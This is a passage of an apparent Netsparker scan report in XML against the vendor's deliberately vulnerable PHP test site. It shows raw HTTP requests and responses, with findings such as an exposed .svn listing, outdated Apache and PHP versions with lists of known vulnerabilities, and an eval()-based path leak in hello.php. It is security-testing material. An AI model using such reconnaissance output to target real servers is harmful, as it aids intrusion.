6173 <div id="page-bgtop">
6174 <div id="page-bgbtm">
6175 <div id="content">
6176 <div class="post">
6177 <h2 class="title"><a href="artist.php#">Artist Service</a></h2>
6178
6179 <div style="clear: both;">&nbsp;</div>
6180 <div class="entry">
6181 <p>
6182
6183
6184
6185 no rows returned
6186 </p>
6187
6188 </div>
6189 </div>
6190 <div style="clear: both;">&nbsp;</div>
6191 </div>
6192 <!-- end #content -->
6193
6194 <div id="sidebar">
6195 <ul>
6196 <li>
6197 <div id="search" >
6198 <form method="get" action="artist.php">
6199 <div>
6200 <input type="text" name="s" id="search-text" value="" />
6201 <input type="submit" id="search-submit" value="GO" />
6202 </div>
6203 </form>
6204
6205 </div>
6206 <div style="clear: both;">&nbsp;</div>
6207 </li>
6208 <li>
6209 <h2>Tags</h2>
6210 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
6211 </li>
6212 <li>
6213 <h2>Inner Pages</h2>
6214 <ul>
6215 <li><a href="artist.php?id=test">Artist Search</a></li>
6216 <li><a href="nslookup.php">Lookup Service</a></li>
6217 </ul>
6218 </li>
6219 <li>
6220 <h2>Links</h2>
6221 <ul>
6222 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
6223 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
6224 </ul>
6225 </li>
6226 </ul>
6227 </div> <!-- end #sidebar -->
6228 <div style="clear: both;">&nbsp;</div>
6229 </div>
6230 </div>
6231 </div>
6232 <!-- end #page -->
6233 </div>
6234
6235 <div id="footer">
6236 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
6237 </div> <!-- end #footer -->
6238 </body>
6239 </html>
6240 ]]></rawresponse>
6241 <extrainformation>
6242 </extrainformation>
6243
6244
6245 </vulnerability>
6246 <vulnerability confirmed="False">
6247 <url>http://php.testsparker.com/.svn/</url>
6248 <type>ApacheDirectoryListing</type>
6249 <severity>Information</severity>
6250 <certainty>90</certainty>
6251
6252 <rawrequest><![CDATA[GET /.svn/ HTTP/1.1
6253 Cache-Control: no-cache
6254 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6255 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6256 X-Scanner: Netsparker
6257 Accept-Language: en-us,en;q=0.5
6258 Host: php.testsparker.com
6259 Accept-Encoding: gzip, deflate
6260
6261 ]]></rawrequest>
6262 <rawresponse><![CDATA[HTTP/1.1 200 OK
6263 Date: Fri, 29 Nov 2013 11:25:37 GMT
6264 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6265 Content-Length: 1110
6266 Content-Type: text/html;charset=UTF-8
6267
6268 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
6269 <html>
6270 <head>
6271 <title>Index of /.svn</title>
6272 </head>
6273 <body>
6274 <h1>Index of /.svn</h1>
6275 <table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
6276 <tr><td valign="top"><img src="/icons/back.gif" alt="[DIR]"></td><td><a href="/">Parent Directory</a> </td><td>&nbsp;</td><td align="right"> - </td></tr>
6277 <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="all-wcprops">all-wcprops</a> </td><td align="right">22-Feb-2010 16:06 </td><td align="right">1.1K</td></tr>
6278 <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="entries">entries</a> </td><td align="right">04-Mar-2010 18:55 </td><td align="right">1.6K</td></tr>
6279 <tr><th colspan="5"><hr></th></tr>
6280 </table>
6281 <address>Apache/2.2.8 (Win32) PHP/5.2.6 Server at php.testsparker.com Port 80</address>
6282 </body></html>
6283 ]]></rawresponse>
6284 <extrainformation>
6285 </extrainformation>
6286
6287 <classification>
6288 <OWASP>A6</OWASP>
6289 <WASC>16</WASC>
6290 <CWE>548</CWE>
6291 <CAPEC>127</CAPEC>
6292 <PCI>6.5.6</PCI>
6293 <PCI2></PCI2>
6294 </classification>
6295
6296 </vulnerability>
6297 <vulnerability confirmed="False">
6298 <url>http://php.testsparker.com/process.php?file=Generics/contact.nsp</url>
6299 <type>EmailDisclosure</type>
6300 <severity>Information</severity>
6301 <certainty>95</certainty>
6302
6303 <rawrequest><![CDATA[GET /process.php?file=Generics/contact.nsp HTTP/1.1
6304 Cache-Control: no-cache
6305 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
6306 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6307 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6308 X-Scanner: Netsparker
6309 Accept-Language: en-us,en;q=0.5
6310 Host: php.testsparker.com
6311 Accept-Encoding: gzip, deflate
6312
6313 ]]></rawrequest>
6314 <rawresponse><![CDATA[HTTP/1.1 200 OK
6315 Date: Fri, 29 Nov 2013 11:25:52 GMT
6316 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6317 X-Powered-By: PHP/5.2.6
6318 Content-Length: 3363
6319 Content-Type: text/html
6320
6321
6322 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
6323 <html xmlns="http://www.w3.org/1999/xhtml">
6324 <head>
6325 <meta name="keywords" content="" />
6326 <meta name="description" content="" />
6327 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
6328 <title>Netsparker Test Web Site - PHP</title>
6329 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
6330 </head><body>
6331 <div id="wrapper">
6332
6333 <div id="menu">
6334 <ul>
6335 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
6336 <li><a href="hello.php?name=Visitor">Hello</a></li>
6337 <li><a href="products.php?pro=url">Products</a></li>
6338 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
6339 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
6340 <li><a href="auth/">Login</a></li>
6341 </ul>
6342 </div>
6343 <!-- end #menu -->
6344 <div id="header">
6345
6346 </div>
6347 <!-- end #header -->
6348 <div id="page">
6349 <div id="page-bgtop">
6350 <div id="page-bgbtm">
6351 <div id="content">
6352 <div class="post">
6353
6354
6355
6356 <div class="entry">
6357 <h1 class="title"><a href="/process.php?file=Generics/contact.nsp">Contact </a></h1>
6358 <p>
6359
6360 <iframe width="540" height="350" frameborder="0" scrolling="no" marginheight="0"
6361 style="float: left" marginwidth="0" src="http://maps.google.com/maps?q=mavituna+security&output=embed">
6362 </iframe>
6363
6364
6365
6366
6367 <strong><br />Test&Demonstration Site Ltd
6368 <br />(reg. no. 123456)</strong><br />
6369 <p>
6370 Green House,
6371 3478 Stone QX
6372 Dos Tringulas
6373 EK7 AP0<br />
6374 USA<br />
6375 </p>
6376
6377 <p>
6378 <span>Tel: +44 123 456 7890</span><br />
6379 <span>Fax: +44 123 456 7891</span></p>
6380 <p>
6381
6382 <p>
6383 E-mail: [email protected]</b></a></p>
6384 </p>
6385
6386 </div>
6387 </div>
6388 <div style="clear: both;">&nbsp;</div>
6389 </div>
6390 <!-- end #content -->
6391
6392 <div id="sidebar">
6393 <ul>
6394 <li>
6395 <div id="search" >
6396 <form method="get" action="artist.php">
6397 <div>
6398 <input type="text" name="s" id="search-text" value="" />
6399 <input type="submit" id="search-submit" value="GO" />
6400 </div>
6401 </form>
6402
6403 </div>
6404 <div style="clear: both;">&nbsp;</div>
6405 </li>
6406 <li>
6407 <h2>Tags</h2>
6408 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
6409 </li>
6410 <li>
6411 <h2>Inner Pages</h2>
6412 <ul>
6413 <li><a href="artist.php?id=test">Artist Search</a></li>
6414 <li><a href="nslookup.php">Lookup Service</a></li>
6415 </ul>
6416 </li>
6417 <li>
6418 <h2>Links</h2>
6419 <ul>
6420 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
6421 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
6422 </ul>
6423 </li>
6424 </ul>
6425 </div> <!-- end #sidebar -->
6426 <div style="clear: both;">&nbsp;</div>
6427 </div>
6428 </div>
6429 </div> <!-- process.php load pages from path of the website. -->
6430 <!-- FIXME: File / directory permissions -->
6431 <!-- end #page -->
6432 </div>
6433
6434 <div id="footer">
6435 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
6436 </div> <!-- end #footer -->
6437 </body>
6438 </html>
6439 ]]></rawresponse>
6440 <extrainformation>
6441 <info name="Found E-mails"><![CDATA[[email protected]]]></info>
6442 </extrainformation>
6443
6444 <classification>
6445 <OWASP></OWASP>
6446 <WASC>13</WASC>
6447 <CWE>200</CWE>
6448 <CAPEC>118</CAPEC>
6449 <PCI>6.5.6</PCI>
6450 <PCI2></PCI2>
6451 </classification>
6452
6453 </vulnerability>
6454 <vulnerability confirmed="True">
6455 <url>http://php.testsparker.com/robots.txt</url>
6456 <type>RobotsIdentified</type>
6457 <severity>Information</severity>
6458 <certainty>100</certainty>
6459
6460 <rawrequest><![CDATA[GET /robots.txt HTTP/1.1
6461 Cache-Control: no-cache
6462 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6463 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6464 X-Scanner: Netsparker
6465 Accept-Language: en-us,en;q=0.5
6466 Host: php.testsparker.com
6467 Accept-Encoding: gzip, deflate
6468
6469 ]]></rawrequest>
6470 <rawresponse><![CDATA[HTTP/1.1 200 OK
6471 Date: Fri, 29 Nov 2013 11:25:41 GMT
6472 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6473 ETag: "30000000199ef-1a-49ca232cb73c3"
6474 Accept-Ranges: bytes
6475 Content-Length: 26
6476 Content-Type: text/plain
6477 Last-Modified: Sat, 19 Feb 2011 12:59:17 GMT
6478
6479 User-agent: *
6480 Disallow: /]]></rawresponse>
6481 <extrainformation>
6482 <info name="Interesting Robots.txt Entries"><![CDATA[Disallow: /]]></info>
6483 </extrainformation>
6484
6485
6486 </vulnerability>
6487 <vulnerability confirmed="False">
6488 <url>http://php.testsparker.com/</url>
6489 <type>ApacheOutOfDate</type>
6490 <severity>Information</severity>
6491 <certainty>90</certainty>
6492
6493 <rawrequest><![CDATA[GET / HTTP/1.1
6494 Cache-Control: no-cache
6495 Connection: Keep-Alive
6496 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6497 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6498 X-Scanner: Netsparker
6499 Accept-Language: en-us,en;q=0.5
6500 Host: php.testsparker.com
6501 Accept-Encoding: gzip, deflate
6502
6503 ]]></rawrequest>
6504 <rawresponse><![CDATA[HTTP/1.1 200 OK
6505 Connection: Keep-Alive
6506 Date: Fri, 29 Nov 2013 11:25:33 GMT
6507 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6508 X-Powered-By: PHP/5.2.6
6509 Keep-Alive: timeout=5, max=100
6510 Content-Length: 144
6511 Content-Type: text/html
6512
6513 <html>
6514 <HEAD>
6515 <SCRIPT language="JavaScript">
6516 <!--
6517 window.location="process.php?file=Generics/index.nsp";
6518 //-->
6519 </SCRIPT>
6520 </HEAD>
6521 </html>]]></rawresponse>
6522 <extrainformation>
6523 <info name="Version"><![CDATA[2.2.8]]></info>
6524 <info name="Vulnerability Database"><![CDATA[Result is based on 17/11/2013 vulnerability database content.]]></info>
6525 </extrainformation>
6526
6527 <classification>
6528 <OWASP>A6</OWASP>
6529 <WASC></WASC>
6530 <CWE></CWE>
6531 <CAPEC>310</CAPEC>
6532 <PCI>6.1</PCI>
6533 <PCI2>6.1</PCI2>
6534 </classification>
6535
6536 <knownvulnerabilities>
6537 <knownvulnerability>
6538 <title>Apache mod_proxy_balancer CSRF Vulnerability</title>
6539 <severity>Low</severity>
6540 </knownvulnerability>
6541 <knownvulnerability>
6542 <title>Apache mod_proxy_http Interim Response Denial of Service Vulnerability </title>
6543 <severity>Medium</severity>
6544 </knownvulnerability>
6545 <knownvulnerability>
6546 <title>Apache mod_proxy_ftp Wildcard Characters Cross-Site Scripting Vulnerability </title>
6547 <severity>Low</severity>
6548 </knownvulnerability>
6549 <knownvulnerability>
6550 <title>Apache mod_proxy Remote Denial Of Service Vulnerability</title>
6551 <severity>Medium</severity>
6552 </knownvulnerability>
6553 <knownvulnerability>
6554 <title>Apache HTTP Server mod_deflate Denial of Service Vulnerability </title>
6555 <severity>Medium</severity>
6556 </knownvulnerability>
6557 <knownvulnerability>
6558 <title>Apache APR-util apr_brigade_vprintf Off By One Vulnerability</title>
6559 <severity>Low</severity>
6560 </knownvulnerability>
6561 <knownvulnerability>
6562 <title>Apache APR-util xml/apr_xml.c Denial of Service Vulnerability</title>
6563 <severity>Low</severity>
6564 </knownvulnerability>
6565 <knownvulnerability>
6566 <title>Apache APR-util apr_strmatch_precompile() Integer Underflow Vulnerability</title>
6567 <severity>Medium</severity>
6568 </knownvulnerability>
6569 <knownvulnerability>
6570 <title>Apache APR and APR-util Multiple Integer Overflow Vulnerabilities</title>
6571 <severity>Low</severity>
6572 </knownvulnerability>
6573 <knownvulnerability>
6574 <title>Apache mod_proxy_ftp Module Insufficient Input Validation Denial Of Service Vulnerability </title>
6575 <severity>Medium</severity>
6576 </knownvulnerability>
6577 <knownvulnerability>
6578 <title>Apache mod_proxy_ftp Remote Command Injection Vulnerability </title>
6579 <severity>Low</severity>
6580 </knownvulnerability>
6581 <knownvulnerability>
6582 <title>Apache mod_isapi Memory Corruption Vulnerability </title>
6583 <severity>Low</severity>
6584 </knownvulnerability>
6585 <knownvulnerability>
6586 <title>Apache 'mod_isapi' Memory Corruption Vulnerability</title>
6587 <severity>Low</severity>
6588 </knownvulnerability>
6589 <knownvulnerability>
6590 <title>Apache mod_proxy_ajp Module Incoming Request Body Denial Of Service Vulnerability</title>
6591 <severity>Medium</severity>
6592 </knownvulnerability>
6593 <knownvulnerability>
6594 <title>Apache mod_cache and mod_dav Request Handling Denial of Service Vulnerability </title>
6595 <severity>Medium</severity>
6596 </knownvulnerability>
6597 <knownvulnerability>
6598 <title>Apache APR-util apr_brigade_split_line() Denial of Service Vulnerability </title>
6599 <severity>Low</severity>
6600 </knownvulnerability>
6601 <knownvulnerability>
6602 <title>Apache APR apr_fnmatch() Denial of Service Vulnerability</title>
6603 <severity>Medium</severity>
6604 </knownvulnerability>
6605 <knownvulnerability>
6606 <title>Apache HTTP Server CVE-2011-3192 Denial Of Service Vulnerability</title>
6607 <severity>Medium</severity>
6608 </knownvulnerability>
6609 <knownvulnerability>
6610 <title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
6611 <severity>Important</severity>
6612 </knownvulnerability>
6613 <knownvulnerability>
6614 <title>Apache HTTP Server Scoreboard Local Security Bypass Vulnerability</title>
6615 <severity>Important</severity>
6616 </knownvulnerability>
6617 <knownvulnerability>
6618 <title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
6619 <severity>Important</severity>
6620 </knownvulnerability>
6621 <knownvulnerability>
6622 <title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
6623 <severity>Important</severity>
6624 </knownvulnerability>
6625 <knownvulnerability>
6626 <title>Apache HTTP Server CVE-2011-3348 Denial Of Service Vulnerability</title>
6627 <severity>Important</severity>
6628 </knownvulnerability>
6629 <knownvulnerability>
6630 <title>Apache Multiple XSS Vulnerability</title>
6631 <severity>Low</severity>
6632 </knownvulnerability>
6633 <knownvulnerability>
6634 <title>Apache Code Execution Vulnerability</title>
6635 <severity>Low</severity>
6636 </knownvulnerability>
6637 <knownvulnerability>
6638 <title>Apache Denial of Service Vulnerabillity</title>
6639 <severity>Low</severity>
6640 </knownvulnerability>
6641 </knownvulnerabilities>
6642 </vulnerability>
6643 <vulnerability confirmed="False">
6644 <url>http://php.testsparker.com/</url>
6645 <type>PhpOutOfDate</type>
6646 <severity>Information</severity>
6647 <certainty>90</certainty>
6648
6649 <rawrequest><![CDATA[GET / HTTP/1.1
6650 Cache-Control: no-cache
6651 Connection: Keep-Alive
6652 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6653 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6654 X-Scanner: Netsparker
6655 Accept-Language: en-us,en;q=0.5
6656 Host: php.testsparker.com
6657 Accept-Encoding: gzip, deflate
6658
6659 ]]></rawrequest>
6660 <rawresponse><![CDATA[HTTP/1.1 200 OK
6661 Connection: Keep-Alive
6662 Date: Fri, 29 Nov 2013 11:25:33 GMT
6663 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6664 X-Powered-By: PHP/5.2.6
6665 Keep-Alive: timeout=5, max=100
6666 Content-Length: 144
6667 Content-Type: text/html
6668
6669 <html>
6670 <HEAD>
6671 <SCRIPT language="JavaScript">
6672 <!--
6673 window.location="process.php?file=Generics/index.nsp";
6674 //-->
6675 </SCRIPT>
6676 </HEAD>
6677 </html>]]></rawresponse>
6678 <extrainformation>
6679 <info name="Version"><![CDATA[5.2.6]]></info>
6680 <info name="Vulnerability Database"><![CDATA[Result is based on 17/11/2013 vulnerability database content.]]></info>
6681 </extrainformation>
6682
6683 <classification>
6684 <OWASP>A6</OWASP>
6685 <WASC></WASC>
6686 <CWE></CWE>
6687 <CAPEC>310</CAPEC>
6688 <PCI>6.1</PCI>
6689 <PCI2>6.1</PCI2>
6690 </classification>
6691
6692 <knownvulnerabilities>
6693 <knownvulnerability>
6694 <title>PHP 'chdir()' and 'ftok()' 'safe_mode' Multiple Security Bypass Vulnerabilities</title>
6695 <severity>Medium</severity>
6696 </knownvulnerability>
6697 <knownvulnerability>
6698 <title>PHP 'imageRotate()' Uninitialized Memory Information Disclosure Vulnerability</title>
6699 <severity>Important</severity>
6700 </knownvulnerability>
6701 <knownvulnerability>
6702 <title>PHP SAPI 'php_getuid()' Safe Mode Restriction-Bypass Vulnerability</title>
6703 <severity>Low</severity>
6704 </knownvulnerability>
6705 <knownvulnerability>
6706 <title>PHP 'mbstring' Extension Buffer Overflow Vulnerability</title>
6707 <severity>Low</severity>
6708 </knownvulnerability>
6709 <knownvulnerability>
6710 <title>PHP 'php/ext/xml/xml.c' Integer Overflow Vulnerability</title>
6711 <severity>Medium</severity>
6712 </knownvulnerability>
6713 <knownvulnerability>
6714 <title>PHP 'php_filter_validate_email()' Function Denial of Service Vulnerability</title>
6715 <severity>Important</severity>
6716 </knownvulnerability>
6717 <knownvulnerability>
6718 <title>PHP 'xml_utf8_decode()' UTF-8 Input Validation Vulnerability</title>
6719 <severity>Medium</severity>
6720 </knownvulnerability>
6721 <knownvulnerability>
6722 <title>PHP Calendar Extension 'SdnToJulian()' Integer Overflow Vulnerability</title>
6723 <severity>Important</severity>
6724 </knownvulnerability>
6725 <knownvulnerability>
6726 <title>PHP 'steam.c' and 'dirstream.c' Multiple Format String Vulnerabilities</title>
6727 <severity>Medium</severity>
6728 </knownvulnerability>
6729 <knownvulnerability>
6730 <title>PHP 'substr_replace()' Function Memory Corruption Vulnerability</title>
6731 <severity>Low</severity>
6732 </knownvulnerability>
6733 <knownvulnerability>
6734 <title>PHP libzip '_zip_name_locate()' NULL Pointer Dereference Denial Of Service Vulnerability</title>
6735 <severity>Important</severity>
6736 </knownvulnerability>
6737 <knownvulnerability>
6738 <title>PHP 'phar/phar_object.c' Format String Vulnerability</title>
6739 <severity>Low</severity>
6740 </knownvulnerability>
6741 <knownvulnerability>
6742 <title>PHP 'shmop_read()' Remote Integer Overflow Vulnerability</title>
6743 <severity>Low</severity>
6744 </knownvulnerability>
6745 <knownvulnerability>
6746 <title>PHP Stream Component Remote Denial of Service Vulnerability</title>
6747 <severity>Important</severity>
6748 </knownvulnerability>
6749 <knownvulnerability>
6750 <title>PHP 'Zip' Extension 'zip_fread()' Function Denial of Service Vulnerability</title>
6751 <severity>Important</severity>
6752 </knownvulnerability>
6753 <knownvulnerability>
6754 <title>PHP 'OpenSSL' Extension Multiple Denial of Service Vulnerabilities</title>
6755 <severity>Important</severity>
6756 </knownvulnerability>
6757 <knownvulnerability>
6758 <title>PHP Versions Prior to 5.3.7 Multiple Security Vulnerabilities</title>
6759 <severity>Medium</severity>
6760 </knownvulnerability>
6761 <knownvulnerability>
6762 <title>PHP 'ZipArchive::addGlob' and 'ZipArchive::addPattern' Denial Of Service Vulnerabilities</title>
6763 <severity>Important</severity>
6764 </knownvulnerability>
6765 <knownvulnerability>
6766 <title>PHP 'proc_open()' 'safe_mode_protected_env_var' Restriction-Bypass Vulnerability</title>
6767 <severity>Low</severity>
6768 </knownvulnerability>
6769 <knownvulnerability>
6770 <title>PHP 'SplObjectStorage' Unserializer Arbitrary Code Execution Vulnerability</title>
6771 <severity>Low</severity>
6772 </knownvulnerability>
6773 <knownvulnerability>
6774 <title>PHP 'ext/imap/php_imap.c' Use After Free Denial of Service Vulnerability</title>
6775 <severity>Important</severity>
6776 </knownvulnerability>
6777 <knownvulnerability>
6778 <title>PHP ZipArchive::getArchiveComment() NULL Pointer Dereference Denial Of Service Vulnerability</title>
6779 <severity>Important</severity>
6780 </knownvulnerability>
6781 <knownvulnerability>
6782 <title>PHP 'zend_strtod()' Function Floating-Point Value Denial of Service Vulnerability</title>
6783 <severity>Important</severity>
6784 </knownvulnerability>
6785 <knownvulnerability>
6786 <title>PHP Multiple NULL Pointer Dereference Denial Of Service Vulnerabilities</title>
6787 <severity>Important</severity>
6788 </knownvulnerability>
6789 <knownvulnerability>
6790 <title>PHP 'crypt' Function Buffer Overflow Vulnerability</title>
6791 <severity>Low</severity>
6792 </knownvulnerability>
6793 <knownvulnerability>
6794 <title>PHP 'error_log' Function Denial of Service Vulnerability</title>
6795 <severity>Important</severity>
6796 </knownvulnerability>
6797 <knownvulnerability>
6798 <title>PHP 'var_export' Function Remote Information Disclosure Vulnerability </title>
6799 <severity>Important</severity>
6800 </knownvulnerability>
6801 <knownvulnerability>
6802 <title>PHP 'strrchr' Function Information Disclosure Vulnerability</title>
6803 <severity>Important</severity>
6804 </knownvulnerability>
6805 <knownvulnerability>
6806 <title>PHP 'fnmatch' Function Stack Consumption Vulnerability</title>
6807 <severity>Important</severity>
6808 </knownvulnerability>
6809 <knownvulnerability>
6810 <title>PHP Zend Engine Use-after-free Heap Corruption Vulnerability</title>
6811 <severity>Medium</severity>
6812 </knownvulnerability>
6813 <knownvulnerability>
6814 <title>PHP GD Extension 'imagepstext()' Function Stack Buffer Overflow Vulnerability</title>
6815 <severity>Medium</severity>
6816 </knownvulnerability>
6817 <knownvulnerability>
6818 <title>PHP 'EXTR_OVERWRITE' Security Bypass Vulnerability</title>
6819 <severity>Important</severity>
6820 </knownvulnerability>
6821 <knownvulnerability>
6822 <title>PHP 'mt_rand' Function Integer Overflow Vulnerability</title>
6823 <severity>Important</severity>
6824 </knownvulnerability>
6825 <knownvulnerability>
6826 <title>PHP 'iconv' Module 'iconv_mime_decode_headers()' Function Security-Bypass Vulnerability</title>
6827 <severity>Important</severity>
6828 </knownvulnerability>
6829 <knownvulnerability>
6830 <title>PHP LCG Entropy Security Vulnerability</title>
6831 <severity>Medium</severity>
6832 </knownvulnerability>
6833 <knownvulnerability>
6834 <title>PHP 'session_save_path()' safe_mode Restriction Bypass Vulnerability</title>
6835 <severity>Important</severity>
6836 </knownvulnerability>
6837 <knownvulnerability>
6838 <title>PHP 'sqlite_single_query()' and 'sqlite_array_query()' Arbitrary Code Execution Vulnerabilities</title>
6839 <severity>Low</severity>
6840 </knownvulnerability>
6841 <knownvulnerability>
6842 <title>PHP 'tempnam()' 'safe_mode' Validation Restriction-Bypass Vulnerability</title>
6843 <severity>Low</severity>
6844 </knownvulnerability>
6845 <knownvulnerability>
6846 <title>PHP Unrestricted Temporary File Creation Vulnerability</title>
6847 <severity>Important</severity>
6848 </knownvulnerability>
6849 <knownvulnerability>
6850 <title>PHP 'posix_mkfifo()' 'open_basedir' Bypass Vulnerability</title>
6851 <severity>Medium</severity>
6852 </knownvulnerability>
6853 <knownvulnerability>
6854 <title>PHP 'ini_restore()' Memory Information Disclosure Vulnerability</title>
6855 <severity>Medium</severity>
6856 </knownvulnerability>
6857 <knownvulnerability>
6858 <title>PHP Web Form Hash Collision Denial Of Service Vulnerability</title>
6859 <severity>Medium</severity>
6860 </knownvulnerability>
6861 <knownvulnerability>
6862 <title>PHP 'phar_parse_tarfile' Integer Overflow Vulnerability</title>
6863 <severity>Important</severity>
6864 </knownvulnerability>
6865 <knownvulnerability>
6866 <title>PHP '_php_stream_scandir' Overflow Vulnerability</title>
6867 <severity>Important</severity>
6868 </knownvulnerability>
6869 <knownvulnerability>
6870 <title>PHP 'com_print_typeinfo' Buffer Overflow Vulnerability</title>
6871 <severity>Important</severity>
6872 </knownvulnerability>
6873 <knownvulnerability>
6874 <title>PHP 'php-cgi' Command Line Argument Injection Vulnerability</title>
6875 <severity>Important</severity>
6876 </knownvulnerability>
6877 <knownvulnerability>
6878 <title>PHP File Upload Denial of Service Vulnerability</title>
6879 <severity>Important</severity>
6880 </knownvulnerability>
6881 <knownvulnerability>
6882 <title>PHP 'magic_quotes_gpc' Bypass Vulnerability</title>
6883 <severity>Low</severity>
6884 </knownvulnerability>
6885 <knownvulnerability>
6886 <title>PHP Multiple Remote Vulnerabilities</title>
6887 <severity>Important</severity>
6888 </knownvulnerability>
6889 <knownvulnerability>
6890 <title>PHP Multiple Remote Vulnerabilities in SOAP Parser</title>
6891 <severity>Low</severity>
6892 </knownvulnerability>
6893 <knownvulnerability>
6894 <title>PHP Heap Based Buffer Overflow Vulnerability</title>
6895 <severity>Low</severity>
6896 </knownvulnerability>
6897 <knownvulnerability>
6898 <title>PHP Integer Overflow and Denial of Service Vulnerability</title>
6899 <severity>Low</severity>
6900 </knownvulnerability>
6901 </knownvulnerabilities>
6902 </vulnerability>
6903 <vulnerability confirmed="False">
6904 <url>http://php.testsparker.com/hello.php?name=Visitor</url>
6905 <type>PossibleInternalWindowsPathLeakage</type>
6906 <severity>Information</severity>
6907 <certainty>75</certainty>
6908
6909 <rawrequest><![CDATA[GET /hello.php?name=Visitor HTTP/1.1
6910 Cache-Control: no-cache
6911 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
6912 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6913 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6914 X-Scanner: Netsparker
6915 Accept-Language: en-us,en;q=0.5
6916 Host: php.testsparker.com
6917 Accept-Encoding: gzip, deflate
6918
6919 ]]></rawrequest>
6920 <rawresponse><![CDATA[HTTP/1.1 200 OK
6921 Date: Fri, 29 Nov 2013 11:25:50 GMT
6922 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6923 X-Powered-By: PHP/5.2.6
6924 Content-Length: 2874
6925 Content-Type: text/html
6926
6927
6928 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
6929 <html xmlns="http://www.w3.org/1999/xhtml">
6930 <head>
6931 <meta name="keywords" content="" />
6932 <meta name="description" content="" />
6933 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
6934 <title>Netsparker Test Web Site - PHP</title>
6935 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
6936 </head><body>
6937 <div id="wrapper">
6938
6939 <div id="menu">
6940 <ul>
6941 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
6942 <li><a href="hello.php?name=Visitor">Hello</a></li>
6943 <li><a href="products.php?pro=url">Products</a></li>
6944 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
6945 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
6946 <li><a href="auth/">Login</a></li>
6947 </ul>
6948 </div>
6949 <!-- end #menu -->
6950 <div id="header">
6951
6952 </div>
6953 <!-- end #header --> <div id="page">
6954 <div id="page-bgtop">
6955 <div id="page-bgbtm">
6956 <div id="content">
6957 <div class="post">
6958 <h1 class="title"><a href="#">Hello Service </a></h1>
6959 <p>
6960 Hello Visitor<br />
6961 <b>Parse error</b>: syntax error, unexpected T_STRING in <b>C:\AppServ\www\hello.php(24) : eval()'d code</b> on line <b>1</b><br />
6962 20$str = 20 Visitor;20 </p>
6963
6964 <div style="clear: both;">&nbsp;</div>
6965 <div class="entry">
6966
6967
6968 </div>
6969 </div>
6970 <div style="clear: both;">&nbsp;</div>
6971 </div>
6972 <!-- end #content -->
6973
6974 <div id="sidebar">
6975 <ul>
6976 <li>
6977 <div id="search" >
6978 <form method="get" action="artist.php">
6979 <div>
6980 <input type="text" name="s" id="search-text" value="" />
6981 <input type="submit" id="search-submit" value="GO" />
6982 </div>
6983 </form>
6984
6985 </div>
